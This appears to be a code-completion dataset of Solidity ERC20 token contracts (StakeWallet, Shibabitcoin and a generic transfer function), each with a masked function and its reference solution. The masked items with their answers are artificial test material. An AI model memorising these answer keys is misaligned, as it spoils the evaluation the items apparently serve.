require(_to != address(0)); require(canTransfer(msg.sender)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true;
function transfer(address _to, uint256 _value) public returns (bool)
/** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool)
36962
StakeWallet
transferFrom
contract StakeWallet is ERC20{ uint8 public constant decimals = 18; uint256 initialSupply = 500000*10**uint256(decimals); string public constant name = "stake.wallet"; string public constant symbol = "STWT"; address payable teamAddress; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; function totalSupply() public view returns (uint256) { return initialSupply; } function balanceOf(address owner) public view returns (uint256 balance) { return balances[owner]; } function allowance(address owner, address spender) public view returns (uint remaining) { return allowed[owner][spender]; } function transfer(address to, uint256 value) public returns (bool success) { if (balances[msg.sender] >= value && value > 0) { balances[msg.sender] -= value; balances[to] += value; emit Transfer(msg.sender, to, value); return true; } else { return false; } } function transferFrom(address from, address to, uint256 value) public returns (bool success) {<FILL_FUNCTION_BODY> } function approve(address spender, uint256 value) public returns (bool success) { allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } constructor () public payable { teamAddress = msg.sender; balances[teamAddress] = initialSupply; } function () external payable { teamAddress.transfer(msg.value); } }
contract StakeWallet is ERC20{ uint8 public constant decimals = 18; uint256 initialSupply = 500000*10**uint256(decimals); string public constant name = "stake.wallet"; string public constant symbol = "STWT"; address payable teamAddress; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; function totalSupply() public view returns (uint256) { return initialSupply; } function balanceOf(address owner) public view returns (uint256 balance) { return balances[owner]; } function allowance(address owner, address spender) public view returns (uint remaining) { return allowed[owner][spender]; } function transfer(address to, uint256 value) public returns (bool success) { if (balances[msg.sender] >= value && value > 0) { balances[msg.sender] -= value; balances[to] += value; emit Transfer(msg.sender, to, value); return true; } else { return false; } } <FILL_FUNCTION> function approve(address spender, uint256 value) public returns (bool success) { allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } constructor () public payable { teamAddress = msg.sender; balances[teamAddress] = initialSupply; } function () external payable { teamAddress.transfer(msg.value); } }
if (balances[from] >= value && allowed[from][msg.sender] >= value && value > 0) { balances[to] += value; balances[from] -= value; allowed[from][msg.sender] -= value; emit Transfer(from, to, value); return true; } else { return false; }
function transferFrom(address from, address to, uint256 value) public returns (bool success)
function transferFrom(address from, address to, uint256 value) public returns (bool success)
66291
Shibabitcoin
null
contract Shibabitcoin is ERC20 { constructor () ERC20("Shibabitcoin", "SHIBTC", 20) {<FILL_FUNCTION_BODY> } }
contract Shibabitcoin is ERC20 { <FILL_FUNCTION> }
_mint(msg.sender, 100000000000000000000 * 10 ** 20);
constructor () ERC20("Shibabitcoin", "SHIBTC", 20)
constructor () ERC20("Shibabitcoin", "SHIBTC", 20)